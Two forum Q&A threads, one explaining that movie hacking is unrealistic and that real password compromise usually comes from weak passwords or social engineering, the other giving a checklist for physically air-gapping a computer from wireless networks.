Hacking computers, scifi or reality I was watching The Girl with the Dragon Tattoo, and this female hacker was really good at hacking. My question is, how is it possible for her to crack passwords besides the brute force approach? I can't think of anyway besides it. And if that's the case, then why do movies make hackers out to be geniuses, if there isn't any way of doing it?

First, movies are unrealistic in these regards.  It's no different than the "realism" of zooming in on security cameras and cleaning up the images.  It's just not realistic, but it makes for good entertainment and helps with plot advancement.

However, that said, there are plenty of people with easy-to-guess passwords.  I know plenty of otherwise intelligent people who don't bother with good passwords, don't change them frequently, etc.  Intelligence is no deterrent to bad password management, and therefore, super-villains and bad guys are just as likely to have easy-to-guess passwords.

If I were to try to crack into an account without brute force, I'd start with the basic easy-to-guess passwords, and count on the stupidity of the people I'm trying to hack. Or I'd resort to social engineering.  "I'm from the helpdesk and I need to get rid of a virus on your PC.  Can you give me your username and password so I can log in and do it?"  (You'd be surprised how many people fall for this.)

An easy way to induce "willing suspension of disbelief" for the sake of password cracking in the movies, I tend to favor the "weak password" scenario as it's the most realistic.


WLAN disconnected for sure? If my PC has NO on-mainboard WLAN and there is NO WLAN-adapter card and NO USB WLAN-stick installed, how sure am I that there is really no WLAN connectivity possible ? I.e. can I really disconnect from the internet today ?

Background:
Say I wanna really disconnect (most of the time, yes I know I need to update virus scanner lists, OS updates,...) from the internet (e.g. for security reasons). Just switch off your WLAN router, you say! OK, but there are many WLANs around in the air from the neighborhood. So I cannot 'escape' from potential WLAN connectivity. Can I make sure no piece of software (viruses, trojans, rootkits, NSA-spy software... you name it) on my PC gets (WLAN-) connected to the internet in some way. (Getting paranoid about this) I simply could ask if today's mainboards really have no WLAN enablement by default. (But maybe there are some physical EM-wave transmission limits that I am not aware of...)

Serious question, of course !
thx for your helpful comments

If there is no WLAN hardware present, then by definition your laptop cannot possibly have WLAN capability.

But you then ask a slightly different question: "How can I be sure I have disconnected my computer from the internet?". You would guarantee this by ensuring there is no hardware that is capable of network communications. Here's my suggested guide for the paranoid:

Remove any USB WiFi "dongles".
Remove any network cabling.
Visually inspected the motherboard to rule out any PCIe (desktop) or Mini-PCI/Mini-PCIe (laptop) wireless cards.
Continue inspecting the motherboard to rule out any WWAN cards (that allow internet connectivity just like cellphones).
Continue inspecting the motherboard to ensure it does not include built-in WiFi (many modern motherboards still don't).
For good measure, enclose the computer in a faraday cage with the mesh sized to block WiFi frequencies. Incidentally, microwaves emit the same frequencies, so you can just buy microwave oven shielding in bulk :)
Bonus points: Modify the operating system and remove the network stack.

Congrats, you have now air-gapped your machine! If you've done all this, and can still get internet connectivity, I'll give you a million dollars.